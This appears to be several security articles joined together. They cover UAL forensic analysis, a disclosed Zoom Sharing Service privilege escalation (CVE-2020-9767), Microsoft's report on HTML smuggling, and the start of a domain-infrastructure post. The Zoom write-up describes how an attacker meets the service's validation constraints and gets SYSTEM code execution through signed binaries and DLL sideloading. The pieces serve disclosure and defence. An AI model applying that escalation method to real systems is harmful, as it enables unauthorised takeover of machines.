are automatically enabled. ## Interpreting UAL Data Let’s step through some quick examples to demonstrate just how powerful UAL analysis can be. Please note that the following data is simulated, but this information is very similar to what you’d see in real-world scenarios when analyzing UAL data. In this first example, we’re analyzing a system called WEBSRV01. We already know that PsExec was used to execute the malicious file C:\Windows\malware.exe on 2020-11-04 at 19:53:08 UTC through analysis of host artifacts. However, all event logs have rolled and were not forwarded elsewhere. We’re trying to understand which user account executed PsExec targeting WEBSRV01 and from which system the activity originated. After parsing the UAL CLIENTS table (from the 2020 database file), the following results are returned. | RoleGuid | TotalAccesses | InsertDate | LastAccess | Address | AuthenticatedUserName | |----------------------------------|---------------|-----------------------|-----------------------|----------------------|------------------------| | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 686 | 2020-01-01T05:16:43Z | 2020-12-31T23:30:33Z | ::1 | WEBSRV01\Administrator | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 942 | 2020-01-12T13:11:46Z | 2020-12-31T23:41:31Z | 10.20.49.101 | CORP\WEBSVC | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 14 | 2020-03-23T07:50:48Z | 2020-12-08T12:22:43Z | 10.15.100.249 | CORP\lstevens | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 35 | 2020-03-23T08:30:01Z | 2020-12-12T03:48:12Z | 10.20.100.100 | CORP\lstevens-adm | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-08-12T23:42:08Z | 2020-08-12T23:42:08Z | 10.15.100.103 | CORP\rsmith | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 3 | 2020-11-04T19:53:07Z | 2020-11-04T19:53:08Z | 10.20.49.201 | CORP\banderson | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 33 | 2020-11-12T02:01:42Z | 2020-12-30T15:28:07Z | 10.20.115.32 | CORP\CORPSVC | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-13T13:03:13Z | 2020-11-13T13:03:13Z | 10.20.100.142 | WERSRV01\Administrator | | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 273 | 2020-12-01T18:46:12Z | 2020-12-25T04:00:00Z | 10.1.73.48 | CORP\hconway | The first thing that immediately jumps out is the row related to the account CORP\banderson that has a LastAccess value matching precisely the time of PsExec usage identified via other artifacts. This record’s address value is 10.20.49.201, meaning the activity originated from a device with this IP. We also note that the TotalAccesses value is 3. This means that for all of 2020, the CORP\banderson account only accessed WEBSRV01 via SMB from this IP address three times — and what’s more, all three occurred around the time of the PsExec activity. Another anomaly in the above is we have the local Administrator account for WEBSRV01 accessing it from the IP address of another system. Based on the TotalAccesses value, this is a rare activity, having only occurred once in 2020, with all of the other local Administrator access coming from localhost. ## UAL at Scale Things get even more exciting when you start pulling UAL at scale from many systems at once. Even simply sorting the output by InsertDate can quickly identify suspicious activity. When aggregating CLIENTS table data from multiple systems, it’s not uncommon to observe scenarios similar to the example below. | System Name | RoleGuid | TotalAccesses | InsertDate | LastAccess | Address | AuthenticatedUserName | |-------------|----------------------------------|---------------|-----------------------|-----------------------|------------------|------------------------| | APPSRV01 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:17Z | 2020-11-30T14:26:17Z | 10.20.52.40 | CORP\abcsvc | | APPSRV02 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:17Z | 2020-11-30T14:26:17Z | 10.20.52.40 | CORP\abcsvc | | DC01 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:17Z | 2020-11-30T14:26:17Z | 10.20.52.40 | CORP\abcsvc | | FILESRV01 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:18Z | 2020-11-30T14:26:18Z | 10.20.52.40 | CORP\abcsvc | | FILESRV02 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:18Z | 2020-11-30T14:26:18Z | 10.20.52.40 | CORP\abcsvc | | WEBSRV01 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:19Z | 2020-11-30T14:26:19Z | 10.20.52.40 | CORP\abcsvc | | WEBSRV02 | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2020-11-30T14:26:19Z | 2020-11-30T14:26:19Z | 10.20.52.40 | CORP\abcsvc | In this example, the account CORP\abcsvc accessed eight systems in rapid succession via SMB, coming from the IP address 10.20.52.40. Further, in each case, the TotalAccesses value is 1, meaning this was the only time for the year that this account accessed each system via SMB from the source IP address. When combined with other indicators to pivot from, UAL analysis at scale can help drive the direction of the investigation. For example, if there is a known compromised user account, UAL analysis can quickly identify other (Server 2012+) systems that the account accessed, by searching for records where the AuthenticatedUserName value matches the compromised username. Similarly, if there is a system that’s known to be compromised, analyzing UAL at scale can provide rapid insights into threat actor lateral movement activities. This can be accomplished by finding UAL entries where the Address field matches the IP address of the compromised system. This can quickly provide an overview of which accounts a threat actor was using from the compromised server, as well as systems targeted for lateral movement. ## Correlating UAL Data Correlating UAL data with other artifacts can also help fill in the blanks when event log data is unavailable. An investigation timeline populated via host artifact analysis may yield something like the following. | System Name | Timestamp | Event | Details | |-------------|--------------------------------|---------------|-----------------------------| | APPSRV01 | 2020-12-01T04:10:50Z | File created | C:\Windows\malware.exe | | APPSRV02 | 2020-12-01T04:10:50Z | File created | C:\Windows\malware.exe | | DC01 | 2020-12-01T04:10:50Z | File created | C:\Windows\malware.exe | | FILESRV01 | 2020-12-01T04:10:51Z | File created | C:\Windows\malware.exe | | FILESRV02 | 2020-12-01T04:10:51Z | File created | C:\Windows\malware.exe | | WEBSRV01 | 2020-12-01T04:10:52Z | File created | C:\Windows\malware.exe | | WEBSRV02 | 2020-12-01T04:10:52Z | File created | C:\Windows\malware.exe | By adding UAL data to the timeline and sorting by timestamp, everything falls into place. | System Name | Timestamp | Event | Details | |-------------|----------------------|-------|---------| | APPSRV01 | 2020-12-01T04:10:50Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | APPSRV01 | 2020-12-01T04:10:50Z | File | C:\Windows\malware.exe | | APPSRV02 | 2020-12-01T04:10:50Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | APPSRV02 | 2020-12-01T04:10:50Z | File | C:\Windows\malware.exe | | DC01 | 2020-12-01T04:10:50Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | DC01 | 2020-12-01T04:10:50Z | File | C:\Windows\malware.exe | | FILESRV01 | 2020-12-01T04:10:51Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | FILESRV01 | 2020-12-01T04:10:51Z | File | C:\Windows\malware.exe | | FILESRV02 | 2020-12-01T04:10:51Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | FILESRV02 | 2020-12-01T04:10:51Z | File | C:\Windows\malware.exe | | WEBSRV01 | 2020-12-01T04:10:52Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | WEBSRV01 | 2020-12-01T04:10:52Z | File | C:\Windows\malware.exe | | WEBSRV02 | 2020-12-01T04:10:52Z | UAL | RoleGuid: File Server | AuthenticatedUserName: CORP\rsmith-adm | Address: 10.100.2.201 | TotalAccesses: 1 | | WEBSRV02 | 2020-12-01T04:10:52Z | File | C:\Windows\malware.exe | After adding UAL data, we can now clearly see that malware.exe was copied to all of these systems by CORP\rsmith-adm; and that this activity originated from the IP address 10.100.2.201. Aside from subsequently focusing analysis efforts on that system, you can also identify additional systems of interest by searching the aggregated UAL data for entries with matching Address or AuthenticatedUserName values from around the same timeframe. ## UAL Analysis Tools On live systems, analysts can access UAL data via PowerShell cmdlets or WMI. In image analysis, UAL databases can be parsed with any tool that supports parsing ESE databases, such as esedbexport, which is part of Joachim Metz’s libesedb project. At least two recently developed solutions are used for parsing UAL data from a forensic perspective: Eric Zimmerman’s SumECmd and Brian Moran’s KStrike. These tools add value by automatically converting RoleGuids to Role Names and automatically parsing the Address field to a human-readable IP address. ## More to Come These examples are only a tiny glimpse into the many powerful applications of UAL data in forensic investigations. The forensic analysis of UAL databases can provide exceptional insights to the forensic analyst. Currently, it’s an understudied artifact that’s also under-represented by forensic tools. We hope that this information is helpful for your analyses; additional research and testing are needed to learn more about this artifact and the valuable insights it can provide. ## Appendix: UAL Databases and Tables Here is a description of all tables included with the UAL database files. ### Current.mdb (and <GUID>.mdb files) **CLIENTS** This table stores the heart of the UAL data. It includes the information on user accounts accessing services on the server. Each row is based on the combination of user + source IP + RoleGuid. The CLIENTS table includes nine fields. | Field Name | Description | |----------------------------------|-------------| | AuthenticatedUserName | Domain\User account performing the access. Can include local accounts and domain accounts, including computer accounts. | | Address | Source IP address from which access occurred. Can include IPv4 or IPv6, as well as localhost values. | | RoleGuid | The type of service accessed. RoleGuids are mapped to Role names in SystemIdentity.mdb. | | InsertDate | UTC timestamp of the first access for the year. | | LastAccess | UTC timestamp of the most recent access for the year. | | TotalAccesses | Count of accesses for the year (based on RoleGuid + AuthenticatedUserName + Address). | | Day1 … Day366 | Count of accesses per day for each day of the year. | | TenantId | Have seen this populated in relation to the Active Directory Domain Services RoleGuid, but interpretation is unclear. | | ClientName | Unknown, have not seen it populated in the wild. | **DNS** The DNS table contains historical IP to hostname mappings. It appears this table is only populated if the server being analyzed has the DNS Server Role installed. The DNS table includes three fields. | Field Name | Description | |------------------|-------------| | LastSeen | UTC timestamp | | Address | IP address | | HostName | Hostname associated with the IP address | **ROLE_ACCESS** The ROLE_ACCESS table contains a high-level view of the types of Roles that have been accessed on the system, and when the first and last accesses occurred. It contains three fields. | Field Name | Description | |------------------|-------------| | RoleGuid | RoleGuid value (associated with human-readable Role Name in SystemIdentity.mdb) | | FirstSeen | UTC timestamp of the earliest access to the Role type for the year. | | LastSeen | UTC timestamp of the most recent access to the Role type for the year. | **VIRTUALMACHINES** The VIRTUALMACHINES table contains information on HyperV virtual machines running on the system. It contains the following fields: | Field Name | |------------------| | VmGuid | | BIOSGuid | | CreationTime | | LastSeenActive | | SerialNumber | ### SystemIdentity.mdb **ROLE_IDS** The ROLE_IDS table contains a mapping of RoleGuid values to human-readable Role Names. It includes three fields. | Field Name | Description | |---------------------|-------------| | RoleGuid | RoleGuid (GUID value) | | ProductName | Typically related to the OS edition, it can be GUID value or human-readable. | | RoleName | Human-readable Role Name for the RoleGuid. | **CHAINED_DATABASES** This table provides a mapping associated with the year for storing the <GUID>.mdb files. Each row contains two fields. | Field Name | Description | |------------------|-------------| | Year | Year associated with database filename (e.g., 2021) | | Filename | Database filename associated with the year. | **SYSTEM_IDENTITY** This table contains information related to the operating system and hardware of the system. It contains the following fields. | Field Name | Field Name | |--------------------------------------------------|------------| | CreationTime | OSSuiteMask | | PhysicalProcessorCount | OSProductType | | CoresPerPhysicalProcessor | SystemManufacturer | | LogicalProcessorsPerPhysicalProcessor | SystemProductName | | MaximumMemory | SystemSerialNumber | | OSMajor | SystemDNSHostName | | OSMinor | SystemDomainName | | OSBuildNumber | OSSerialNumber | | OSPlatformId | OSCountryCode | | ServicePackMajor | OSLastBootUpTime | One interesting aspect of the SYSTEM_IDENTITY table is that it appears to have a new entry created each time one of the fields changes. For example, when changing a system’s hostname or domain, a new row will be created showing the new SystemDNSHostName and SystemDomainName, while the old data will still be available in previous rows. The LastBootUpTime field will then only continue to be updated for the latest row.
# Zoom In: Emulating 'Exploit Purchase' in Simulated Targeted Attacks Context regularly performs Red Team and Simulated Attacker engagements for several clients. These simulated attacks aim to uplift our client's ability to respond to real-world adversaries. We perform these assessments by firstly identifying actionable intelligence on the target, then formulate a plan of attack by mimicking the TTPs of the many adversaries we are actively tracking. **By Connor Scott** **Senior Consultant** **25 Jun 2020** **Security, Vulnerabilities and exploits, Security assessment and testing** ## Introduction In January, during a simulated attack engagement, Context obtained user-level access to an internal network; however, the compromised user account had limited access due to a highly locked down environment. A path was identified within the network that would allow the team to obtain privileged access; however, it required a method of escalating privileges on client workstations. The workstations all had the latest updates for both Windows 10 and Windows 7, and vendor patches were applied quickly. Additionally, there was minimal third-party software installed by default, limiting the potential attack surface. While assessing the existing services on the system for avenues of privilege escalation, Zoom's Sharing Service was identified on the shortlist of binaries to triage. After a review of the Zoom service binary, a logic-based Local Privilege Escalation vulnerability was identified. This zero-day vulnerability was exploited during the engagement and opened the compromise path leading directly to privileged network accounts. On February 26, 2020, Context provided Zoom a detailed advisory and POC. The vulnerable version of the Zoom Sharing Service was 4.6.7. The issue, which only impacts Windows users, was fully resolved in Zoom release 5.0.4, which was released on May 24, 2020. ## Technical Details When performing a quick triage of a native binary (non .NET) executable for privilege escalation vectors, particularly service binaries, we look for two elements. The first element is an indication that the service executes code or reads/writes data to privileged areas, as services generally run as the SYSTEM account; any subprocesses or memory accesses also inherit its privileged context. Looking at the Win32 API imports for function families such as CreateProcess, LoadLibrary, CreateFile, or Registry can provide this indication. The second element is an indication that some form of interprocess communications (IPC) exist to control the service. Looking for Shared memory, File Mapping, Socket, or Named Pipe functions in the imports can provide this indication. By importing CreateProcessAsUserW and CreateFileMappingW, the Zoom Sharing Service met these criteria and invited a more thorough look. **Note:** All images and reverse engineering steps below were performed using GHIDRA on the following file: **Name:** CptService.exe **FileVersion:** 3.4.2019.0910 **MD5:** 2a7a76fad78254d39d86504d0dd76dcf **SHA256:** 3c8eb269d2a128399146c13a9faf73c5ee3249b04df822a2c37e5e64fa4c6be9 After a session of reversing the CptService.exe binary, we had a basic understanding of how the relevant areas worked, in particular: - The shared file mapping details used for communicating between the user process and the service. - The expected data and message structure of the IPC. - The IPC read/action trigger. - The process execution constraints. Covering the reverse engineering of all these elements in one article would be quite long, so this article will focus on the part relevant to the vulnerability, i.e., the file execution constraints. Reversing the shared file mapping IPC and the IPC read trigger may be covered in future articles. In short, the IPC flow can be triggered with the following steps: 1. Open the shared file mapping with the pattern "Global\ZOOM_CPTSERVICE_FILE_MAPPING". 2. Write a structured IPC message. 3. Open the Zoom Sharing Service and send a user-defined control code. This will trigger the service to begin the processing of the message in the shared file mapping IPC buffer. After some initial tracing from the service entry point through IPC parsing functions, we eventually arrive at the function at offset 0x00401317. This function and its child functions handle validation of the supplied IPC parameters. This is where we will begin our walkthrough. Looking at the function graph, we can see a standard branching structure, where child functions are called, and if any of these functions fail, the whole function will return, and the process will not be executed. The interesting functions are called on lines 0x40133d, 0x40134f, 0x40136a, and 0x401376. As it is useful to understand the context of these functions to the overall vulnerability, we will summarize their functionality at a high level. 1. **0x40133d** - Called function appears to read data from the IPC Memory buffer and returns a pointer if successful, or zero if it fails. We won't cover this in this blog, as the details aren’t really relevant to the issue found. 2. **0x40134f** - Called function checks that the file exists and that the file permissions allow the requested operation to succeed. In this calling case, it just checks that the file exists. We won't cover this in this blog, as the details aren’t really relevant to the issue found. 3. **0x40136a** - Called function appears to perform validation of the specified executable file and the DLLs that are imported by it. If we can return success from this function, we can proceed to execute code. 4. **0x401376** - Called function kills existing process in the target Windows Session with executable name matching the supplied filename then launches a new process using the supplied executable filename. At this point, there are no more verification checks, so we won't cover this in this blog. In relation to this service, if we can make our supplied file pass the signature and path validation, we can execute code as SYSTEM on the local machine. The vulnerability identified in CVE-2020-9767 allows us to pass this validation and therefore execute arbitrary code of our choosing. As the IPC mechanism is only available locally, this does not pose a threat of direct remote code execution. If you are interested in the low-level details of this function, continue reading below. ## So you care to see how deep the rabbit hole goes? Having identified that the function 0x404966, called at 0x40136a, performs validation of the supplied executable, we can dig further into it to identify any issues that would allow us to bypass the validation or understand what validation constraints must be met. For ease of reference, from here on we will refer to this function as validate_exe. Looking at the function from a bird’s eye view, we can see that there are many places where the execution jumps to a code location that will zero the AL register before executing the epilog, which will effectively flag a failure of verification. There are two jumps that skip this explicit zeroing of AL, allowing a successful result to be returned. These jumps are colored blue above. The first is at 0x404a07 and explicitly sets AL to 1 before calling the epilog, therefore returning valid. The second is at 0x404acb, when the result from the function call at 0x404ab2 is moved into AL and then epilog is called returning true or false based on the output of the function at 0x404651. These two paths give us the opportunity to return successfully from the validate_exe function. As neither of these blocks are at the start of the function, we will need to understand the constraints imposed on the execution path to reach these blocks. Fortunately, for us, both blocks share the same constraints until just before the first block, so we get to kill two birds with one stone. To start with, we can see at line 0x40498a that EDI is set to the address of the filename in the IPC packet and on the following line EBX is set to zero. Then at 0x404997, EDI (the filename pointer) is compared against EBX (zero). If the result matches (EDI == 0), then we return zero from the function indicating it’s not a valid executable. So we now know that we need to supply a filename in the IPC packet. In the next block (0x40499f), we zero EAX, then compare AX (zero) with the word value stored at EDI (the filename pointer), effectively checking that the first character of the filename is not a ‘\0’ (null byte). Note a word comparison is used rather than a byte comparison because the string is a wide (UTF-16) string. If the character is null, then we return zero from the function and it is not a valid executable. So now we know we need to supply at least 1 byte in our filename. The next three blocks (0x4049aa, 0x4049af, and 0x4049b9) perform an inline wstrlen and compare the result to 0x208. The first two blocks count the number of bytes in the string, by looping over each wchar, loading it from the location of EAX into CX and comparing it to null. It then increments EAX on each loop by two to account for the wchar. Finally, when CX is null, it breaks the loop and continues to the next block. The next block divides the number of bytes by 2 and compares to 0x208 (decimal 520). If the string is longer than that, the function will return zero indicating it is not a valid executable. So now we know that the filename string must have one or more characters and 520 or fewer characters (not including the null byte). The next block (0x4049c8) calls PathIsRelativeW with the supplied filename. This will return true (non-zero) if the supplied path is a relative path or zero if the path is an absolute path. If the path is relative, then we return zero from the function and it is not a valid executable. So we now know the path supplied in filepath must be absolute. We will skip over the next blocks at 0x4049d7, 0x4049df, and 0x4049e7, because the values didn't appear to be directly relevant to our path hunting, although the result is passed into the validate_file_signature function. The next relevant block starts at 0x4049ea and involves a call at 0x4049ee to the function at 0x4032c4. If that call returns zero, we return zero from the validate_exe function and our executable is flagged as non-valid. To save time, we won't delve into this function, because there is a fair bit of code that checks the platform for WinTrust support and where it is supported, uses WinTrust to validate the Authenticode signature on the file at the supplied filepath. If it is valid, it checks the issuer of the certificate to ensure it was signed by "Zoom Video Communications, Inc." If the signature is invalid or the issuer does not match, the function will return failure. On platforms that do not support WinTrust (before 2003, XP), this function returns true in all cases. So now we know that the supplied executable must have a valid signature AND be signed by Zoom on recent operating systems. This significantly limits the pool of options. Finally, we are at a block that can redirect execution to our first identified opportunity to return non-zero from the validate_exe function. We can see that the result of the function call to 0x402e4d is checked; if it is non-zero, our first block of interest is executed, and we will return 1, and valid, from the validate_exe function. If it is zero, it will continue with further filepath checks. So what does the function at 0x402e4d do? For the sake of this blog, we will save the minutiae. The function appears to get the full path of the current Windows install and checks that it is contained within the supplied filepath string. If it is, it will return 1; if it is not, it will return 0. So to hit our return 1, valid, block, at this point we have the following constraints to meet: - Supply an absolute filepath to an executable file that will be eventually executed. - The supplied executable must have a valid Authenticode signature, and the Issuer must be "Zoom Video Communications, Inc." - The supplied file path must be in the Windows install directory, or have the absolute Windows install directory in its filepath. Initially, these seem like challenging constraints until two things are realized. Firstly, there are subfolders in the Windows install folder where users are able to write, for example, C:\Windows\Temp. Secondly, Zoom provides a number of binaries that have valid Authenticode signatures that we can use to pass this signature check. These signed executables load DLLs, so we can effectively use them to 'trampoline' execution to our code. So this could be one method to achieve code execution, but where is the fun in that? What if user write permissions in the Windows install directory are locked down? What if we want to execute from arbitrary folders, say for example C:\Users\Public\Context for vanity purposes? To do this, we need to press on, which for the sake of brevity will be covered in a future blog. ## Vendor Response The identified vulnerability was disclosed to Zoom in late February 2020. Context and Zoom staff followed coordinated disclosure processes to confirm the issue was resolved and to ensure their respective clients using this software were protected. Zoom’s advisory for this issue may be found at: [Zoom Advisory](https://support.zoom.us/hc/en-us/articles/360044350792-Security-CVE-2020-9767). Context’s advisory for this issue may be found at: [Context Advisory](https://www.contextis.com/en/resources/advisories/cve-2020-9767). ## Mitigations There are several recommendations to help mitigate this vulnerability, and we welcome questions and queries. ### Update Zoom Firstly, as with all software, we strongly recommend that any application be updated when possible. Given the current climate, updating via corporate deployment services may be more difficult. As such, teams should be encouraged to update Zoom as well as any other applications directly on the Internet if applicable to their network architecture. Zoom 5.0.4 was verified to remediate this vulnerability, and working with the Zoom security team, the underlying flaws have been addressed. Later versions should also include these fixes. ### Implement Application and DLL Whitelisting Application and DLL whitelisting has proven to be an effective defense-in-depth measure to combat the execution of untrusted executables and DLLs. When implementing an effective application and DLL whitelisting program, ensure that folder allow rules such as C:\Windows\* are not included as users may write files to and execute files in subfolders of this folder. In addition, a baseline should be performed capturing Zoom’s installed binaries and DLLs; these should be whitelisted, effectively restricting other unapproved software from piggybacking on execution flow. ### Disable Zoom Sharing Service Through testing in a laboratory environment and in conjunction with the client during the simulated attack, stopping the ‘CptService/Zoom Sharing Service’ did not appear to have a negative impact during general-purpose use. Screen sharing, desktop controls, and all other functionality appeared to function; as such, it was the recommendation as an immediate remediation to disable this service. Upon further investigation and discussion with the Zoom Security team, this service was identified as being used to potentially share elevated windows dialogs. Generally, users sharing elevated windows would be initially privileged users and may inherit the integrity level when launching Zoom (dependent on local security controls). As such, this service could be disabled with minimal impact to most of the user base and attack surface immediately remediating this issue. ## About Connor Scott **Senior Consultant** Connor is part of our Assurance team and is based in our Melbourne, Australia office. He specializes in Red Teaming, Reverse Engineering, Software and Embedded Device Vulnerability Research, Infrastructure Assessments, and Code Reviews.
# HTML Smuggling Surges: Highly Evasive Loader Technique Increasingly Used in Banking Malware, Targeted Attacks HTML smuggling, a highly evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features, is increasingly used in email campaigns that deploy banking malware, remote access Trojans (RATs), and other payloads related to targeted attacks. Notably, this technique was observed in a spear-phishing campaign from the threat actor NOBELIUM in May. More recently, we have also seen this technique deliver the banking Trojan Mekotio, as well as AsyncRAT/NJRAT and Trickbot, malware that attackers utilize to gain control of affected devices and deliver ransomware payloads and other threats. As the name suggests, HTML smuggling lets an attacker “smuggle” an encoded malicious script within a specially crafted HTML attachment or web page. When a target user opens the HTML in their web browser, the browser decodes the malicious script, which, in turn, assembles the payload on the host device. Thus, instead of having a malicious executable pass directly through a network, the attacker builds the malware locally behind a firewall. This technique is highly evasive because it could bypass standard perimeter security controls, such as web proxies and email gateways, that often only check for suspicious attachments (for example, EXE, ZIP, or DOCX) or traffic based on signatures and patterns. Because the malicious files are created only after the HTML file is loaded on the endpoint through the browser, what some protection solutions only see at the onset are benign HTML and JavaScript traffic, which can also be obfuscated to further hide their true purpose. Threats that use HTML smuggling bank on the legitimate uses of HTML and JavaScript in daily business operations in their attempt to stay hidden and relevant, as well as challenge organizations’ conventional mitigation procedures. For example, disabling JavaScript could mitigate HTML smuggling created using JavaScript Blobs. However, JavaScript is used to render business-related and other legitimate web pages. In addition, there are multiple ways to implement HTML smuggling through obfuscation and numerous ways of coding JavaScript, making the said technique highly evasive against content inspection. Therefore, organizations need a true “defense in depth” strategy and a multi-layered security solution that inspects email delivery, network activity, endpoint behavior, and follow-on attacker activities. The surge in the use of HTML smuggling in email campaigns is another example of how attackers keep refining specific components of their attacks by integrating highly evasive techniques. Microsoft Defender for Office 365 stops such attacks at the onset using dynamic protection technologies, including machine learning and sandboxing, to detect and block HTML-smuggling links and attachments. Email threat signals from Defender for Office 365 also feed into Microsoft 365 Defender, which provides advanced protection on each domain—email and data, endpoints, identities, and cloud apps—and correlates threat data from these domains to surface evasive, sophisticated threats. This provides organizations with comprehensive and coordinated defense against the end-to-end attack chain. ## How HTML Smuggling Works HTML smuggling uses legitimate features of HTML5 and JavaScript, which are both supported by all modern browsers, to generate malicious files behind the firewall. Specifically, HTML smuggling leverages the HTML5 “download” attribute for anchor tags, as well as the creation and use of a JavaScript Blob to put together the payload downloaded into an affected device. In HTML5, when a user clicks a link, the “download” attribute lets an HTML file automatically download a file referenced in the “href” tag. For example, the code below instructs the browser to download “malicious.docx” from its location and save it into the device as “safe.docx”: The anchor tag and a file’s “download” attribute also have their equivalents in JavaScript code. The use of JavaScript Blobs adds to the “smuggling” aspect of the technique. A JavaScript Blob stores the encoded data of a file, which is then decoded when passed to a JavaScript API that expects a URL. This means that instead of providing a link to an actual file that a user must manually click to download, the said file can be automatically downloaded and constructed locally on the device using JavaScript codes. Today’s attacks use HTML smuggling in two ways: the link to an HTML smuggling page is included within the email message, or the page itself is included as an attachment. The following section provides examples of actual threats we have recently seen using either of these methods. ## Real-World Examples of Threats Using HTML Smuggling HTML smuggling has been used in banking malware campaigns, notably attacks attributed to DEV-0238 (also known as Mekotio) and DEV-0253 (also known as Ousaban), targeting Brazil, Mexico, Spain, Peru, and Portugal. In one of the Mekotio campaigns we’ve observed, attackers sent emails with a malicious link. In this campaign, a malicious website is used to implement the HTML smuggling technique and drop the malicious downloader file. It should be noted that this attack attempt relies on social engineering and user interaction to succeed. When a user clicks the emailed hyperlink, the HTML page drops a ZIP file embedded with an obfuscated JavaScript file. When the user opens the ZIP file and executes the JavaScript, the said script connects to a malicious server and downloads another ZIP file that masquerades as a PNG file. This second ZIP file contains files related to DAEMON Tools, including a legitimate file and a malicious file that accesses geolocation information of the target and attempts credential theft and keylogging. Finally, once the user runs the primary executable (the renamed legitimate file), it launches and loads the malicious DLL via DLL sideloading. As previously mentioned, this DLL file is attributed to Mekotio, a malware family of banking Trojans typically deployed on Windows systems that have targeted Latin American industries since the latter half of 2016. ## HTML Smuggling in Targeted Attacks Beyond banking malware campaigns, various cyberattacks—including more sophisticated, targeted ones—incorporate HTML smuggling in their arsenal. Such adoption shows how tactics, techniques, and procedures (TTPs) trickle down from cybercrime gangs to malicious threat actors and vice versa. It also reinforces the current state of the underground economy, where such TTPs get commoditized when deemed effective. For example, in May, Microsoft Threat Intelligence Center (MSTIC) published a detailed analysis of a new sophisticated email attack from NOBELIUM. MSTIC noted that the spear-phishing email used in that campaign contained an HTML file attachment, which, when opened by the targeted user, uses HTML smuggling to download the main payload on the device. Since then, other malicious actors appeared to have followed NOBELIUM’s suit and adopted the technique for their own campaigns. Between July and August, open-source intelligence (OSINT) community signals showed an uptick in HTML smuggling in campaigns that deliver remote access Trojans (RATs) such as AsyncRAT/NJRAT. In September, we saw an email campaign that leverages HTML smuggling to deliver Trickbot. Microsoft attributes this Trickbot campaign to an emerging, financially motivated cybercriminal group we’re tracking as DEV-0193. In the said campaign, the attacker sends a specially crafted HTML page as an attachment to an email message purporting to be a business report. When the target recipient opens the HTML attachment in a web browser, it constructs a JavaScript file and saves the said file in the device’s default Downloads folder. As an added detection-evasion technique against endpoint security controls, the created JavaScript file is password-protected. Therefore, the user must type the password indicated in the original HTML attachment to open it. Once the user executes the JavaScript, it initiates a Base64-encoded PowerShell command, which then calls back to the attacker’s servers to download Trickbot. Based on our investigations, DEV-0193 targets organizations primarily in the health and education industries and works closely with ransomware operators, such as those behind the infamous Ryuk ransomware. After compromising an organization, this group acts as a fundamental pivot point and enabler for follow-on ransomware attacks. They also often sell unauthorized access to the said operators. Thus, once this group compromises an environment, it is highly likely that a ransomware attack will follow. ## Defending Against the Wide Range of Threats That Use HTML Smuggling HTML smuggling presents challenges to traditional security solutions. Effectively defending against this stealthy technique requires true defense in depth. It is always better to thwart an attack early in the attack chain—at the email gateway and web filtering level. If the threat manages to fall through the cracks of perimeter security and is delivered to a host machine, then endpoint protection controls should be able to prevent execution. Microsoft 365 Defender uses multiple layers of dynamic protection technologies, including machine learning-based protection, to defend against malware threats and other attacks that use HTML smuggling at various levels. It correlates threat data from email, endpoints, identities, and cloud apps, providing in-depth and coordinated threat defense. All of these are backed by threat experts who continuously monitor the threat landscape for new attacker tools and techniques. Microsoft Defender for Office 365 inspects attachments and links in emails to detect and alert on HTML smuggling attempts. Over the past six months, Microsoft blocked thousands of HTML smuggling links and attachments. Safe Links and Safe Attachments provide real-time protection against HTML smuggling and other email threats by utilizing a virtual environment to check links and attachments in email messages before they are delivered to recipients. Thousands of suspicious behavioral attributes are detected and analyzed in emails to determine a phishing attempt. Through automated and threat expert analyses, existing rules are modified, and new ones are added daily. On endpoints, attack surface reduction rules block or audit activity associated with HTML smuggling. Defenders can also apply the following mitigations to reduce the impact of threats that utilize HTML smuggling: - Prevent JavaScript codes from executing automatically by changing file associations for .js and .jse files. - Check Office 365 email filtering settings to ensure they block spoofed emails, spam, and emails with malware. - Check the perimeter firewall and proxy to restrict servers from making arbitrary connections to the internet to browse or download files. - Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites. - Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. Educate users about preventing malware infections. Encourage users to practice good credential hygiene—limit the use of accounts with local or domain admin privileges and turn on Microsoft Defender Firewall to prevent malware infection and stifle propagation.
# Malicious Infrastructure as a Service **Written By Ken Bagnall** **April 25, 2021** Domains created for malicious purposes are rarely registered on their own. When you have identified such a domain, it is therefore always a good idea to look for other domains used in the same campaign. Sometimes finding such a domain is easy. For example, you may notice a very similar domain (such as the .net version of a .com domain) registered with the same registrar on the same day. At other times you will need to look for other evidence, for example, find them hosted on the same IP address. In general, however, linking two domains through a single IP address isn’t strong enough evidence that the domains themselves are linked. The link becomes a lot stronger though when two or more domains were seen moving through the same set of IP addresses simultaneously. In previous blog posts, I used this to find five domains that used the same infrastructure and that were made to look like they belonged to a content delivery network, as well as the infrastructure of a LodaRAT campaign targeting Bangladesh. In this blog post, I will share a few more examples of sets of malicious domains that moved simultaneously through the same set of IP addresses. The sets of domains are linked and there is some evidence to suggest that the infrastructure belongs 